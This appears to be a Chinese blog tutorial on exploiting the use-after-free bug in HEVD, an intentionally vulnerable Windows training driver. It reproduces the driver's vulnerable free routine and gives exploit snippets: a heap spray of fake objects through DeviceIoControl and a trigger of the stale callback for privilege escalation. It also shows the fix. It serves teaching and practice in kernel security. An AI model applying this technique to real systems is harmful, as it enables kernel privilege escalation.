[03] HEVD 内核漏洞之UAF
作者:huity
出处:https://www.cnblogs.com/huity35/p/11240997.html
版权:本文版权归作者所有。文章在博客园、看雪、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任。
0x00 前言
0x01 漏洞原理
UAF
Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况(引用Thunder J师傅的总结,到位):
②内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
③内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
Demo
#include <stdio.h>
#define size 32
int main(int argc, char **argv) { char *buf1;
char *buf2; buf1 = (char *) malloc(size);
printf("buf1:0x%p\n", buf1);
free(buf1); // 分配 buf2 去“占坑”buf1 的内存位置
buf2 = (char *) malloc(size);
printf("buf2:0x%p\n\n", buf2); // 对buf2进行内存清零
memset(buf2, , size);
printf("buf2:%d\n", *buf2); // 重引用已释放的buf1指针,但却导致buf2值被篡改
printf("==== Use After Free ===\n");
strncpy(buf1, "hack", );
printf("buf2:%s\n\n", buf2); free(buf2);
}
程序分配和buf1大小相同的堆块buf2实现占坑,buf2分配到已经释放的buf1内存位置,但由于buf1指针依然有效,并且指向的内存数据是不可预测的,可能被堆管理器回收,也可能被其他数据占用填充,buf1指针称为悬挂指针,借助悬挂指针buf1将内存赋值为hack,导致buf2也被篡改为hack。
如果原有的漏洞程序引用到悬挂指针指向的数据用于执行指令,就会导致任意代码执行。
在通常的浏览器UAF漏洞中,都是某个C++对象被释放后重引用,假设程序存在UAF的漏洞,有个悬挂指针指向test对象,要实现漏洞利用,通过占坑方式覆盖test对象的虚表指针,虚表指针指向虚函数存放地址,现在让其指向恶意构造的shellcode,当程序再次引用到test对象就会导致任意代码执行。
分析
AllocateUaFObject
typedef void(*FunctionPointer)();
...
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
...
NTSTATUS AllocateUaFObjectNonPagedPool(VOID){
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
PAGED_CODE(); __try
{
DbgPrint("[+] Allocating UaF Object\n"); // Allocate Pool chunk
UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
(ULONG)POOL_TAG
); if (!UseAfterFree)
{
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
} // Fill the buffer with ASCII 'A'
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // Null terminate the char buffer
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - ] = '\0'; // Set the object Callback function
UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool; // Assign the address of UseAfterFree to a global variable
g_UseAfterFreeObjectNonPagedPool = UseAfterFree; DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
该函数分配一个非分页的池块,用‘A’填充它,预先设置一个回调指针并添加一个空终止符。 IDA中的流程几乎相同,如下所示。 请注意,对象大小为0x58字节,池标记为“Hack”(小端对齐)。
FreeUaFObject
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); #ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer
g_UseAfterFreeObjectNonPagedPool = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
// Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
相当直接,这可以通过引用标记值来释放池块。在安全版本下,这是安全的,而在不安全的版本中这是包含漏洞的函数,因为在释放对象后“g_UseAfterFreeObject”未设置为null,因此保留了过时的对象指针。
UseUaFObject
NTSTATUS UseUaFObjectNonPagedPool(VOID){
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObjectNonPagedPool->Callback)
{
g_UseAfterFreeObjectNonPagedPool->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
AllocateFakeObject
NTSTATUS
AllocateFakeObjectNonPagedPool( _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject){
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
PAGED_CODE();
__try
{
DbgPrint("[+] Creating Fake Object\n"); // Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(FAKE_OBJECT_NON_PAGED_POOL),
(ULONG)POOL_TAG
); if (!KernelFakeObject)
{
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
} // Verify if the buffer resides in user mode
ProbeForRead(
(PVOID)UserFakeObject,
sizeof(FAKE_OBJECT_NON_PAGED_POOL),
(ULONG)__alignof(UCHAR)
); // Copy the Fake structure to Pool chunk
RtlCopyMemory(
(PVOID)KernelFakeObject,
(PVOID)UserFakeObject,
sizeof(FAKE_OBJECT_NON_PAGED_POOL)
); // Null terminate the char buffer
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - ] = '\0'; DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
} return Status;
}
- 我们分配一个UAF对象。
- 我们释放掉UAF对象。
- 我们使用伪造的对象占坑释放掉的UAF对象内存。
- 我们用野指针调用UAF对象的callback函数,此时callback函数指针已经由伪造的对象来决定了。
0x02 漏洞利用
堆海战术
吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。
//申请fake UAF对象
for (i = ; i < 0x1000; i++)
{
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
(LPVOID)FakeObject,//Ring3缓冲区
,
NULL,
,
&BytesReturned,
NULL);
}
OutputDebugString("****************Kernel Mode****************\n");
DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n");
//释放剩余的对象
FreeReserveObjects();
DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n");
OutputDebugString("****************Kernel Mode****************\n");
//执行
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
NULL,
,
NULL,
,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
最终看到。提权成功,提权过程参考我的前一篇。
0x03 漏洞防范
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer
g_UseAfterFreeObjectNonPagedPool = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
// Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
0x04 链接
[03] HEVD 内核漏洞之UAF的更多相关文章
- [02] HEVD 内核漏洞之栈溢出
作者:huity出处:http://www.cnblogs.com/huity35/版权:本文版权归作者所有.文章在看雪.博客园.个人博客同时发布.转载:欢迎转载,但未经作者同意,必须保留此段声明:必 ...
- [04] HEVD 内核漏洞之IntegerOverflow
作者:huity出处:https://www.cnblogs.com/huity35/p/11252574.html版权:本文版权归作者所有.文章在博客园.看雪.个人博客同时发布.转载:欢迎转载,但未 ...
- 内核漏洞学习—熟悉HEVD
一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...
- 【翻译】 Windows 内核漏洞学习—空指针解引用
Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...
- Windows 内核漏洞学习—空指针解引用
原标题:Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/w ...
- Android内核漏洞利用技术实战:环境搭建&栈溢出实战
前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...
- Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具
今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ...
随机推荐
- MFC中的模态对话框与非模态对话框,模态对话框测试
http://blog.csdn.net/u010839382/article/details/52972427 http://blog.csdn.net/u010839382/article/det ...
- 只言片语 - cell 图片复用问题
一. 今日做项目遇到图片复用问题,返回cell高度相同,由于网络不好出现图片复用,发现问题 Cell 图片加载方法如下: - (void)sd_setImageWithURL:(NSURL *)u ...
- DHCP命令执行CVE-2018-1111漏洞复现
DHCP命令执行_CVE-2018-1111漏洞复现 一.漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了 ...
- asp.net core 自定义异常处理中间件
asp.net core 自定义异常处理中间件 Intro 在 asp.net core 中全局异常处理,有时候可能不能满足我们的需要,可能就需要自己自定义一个中间件处理了,最近遇到一个问题,有一些异 ...
- 【linux杂记】Ubuntu查看端口使用情况
转载地址: https://www.linuxidc.com/Linux/2016-01/127345.htm Ubuntu查看端口使用情况,使用netstat命令: 查看已经连接的服务端口(ESTA ...
- 【Idea】JUnit单元测试%MODULE_WORKING_DIR%' does not exist
Idea执行单元测试时报错:上午9:35 Error running 'MobileMessageImplTest.java': Cannot start process, the working d ...
- Mybatisの常见面试题
Mybatis -面试问题 最近准备系统的学一下Mybatis,之前只有粗略的看了下,选了十个常见的面试题 1. #{}和${}的区别是什么? #{}是预编译处理,${}是字符串替换. Mybatis ...
- 随时发布:REST API文档的代码仓库中的持续集成与协作
本文主要内容:API文档提供了预测客户成功的关键路径:在代码附近的文档上进行协作可以更好地检查代码和文档文件,提高自动化效率,并专门针对文档进行质量测试:提供通用文档框架,标准,自动化和工具,以提高团 ...
- kubernetes实战之consul篇及consul在windows下搭建consul简单测试环境
consul是一款服务发现中间件,1.12版本后增加servicemesh功能.consul是分布式的,可扩展的,高可用的根据官方文档介绍,目前已知最大的consul集群有5000个节点,consul ...
- 关于ArrayList的扩容机制
关于ArrayList的扩容机制 ArrayList作为List接口常用的一个实现类,其底层数据接口由数组实现,可以保证O(1) 复杂度的随机查找, 在增删效率上不如LinkedList,但是在查询效 ...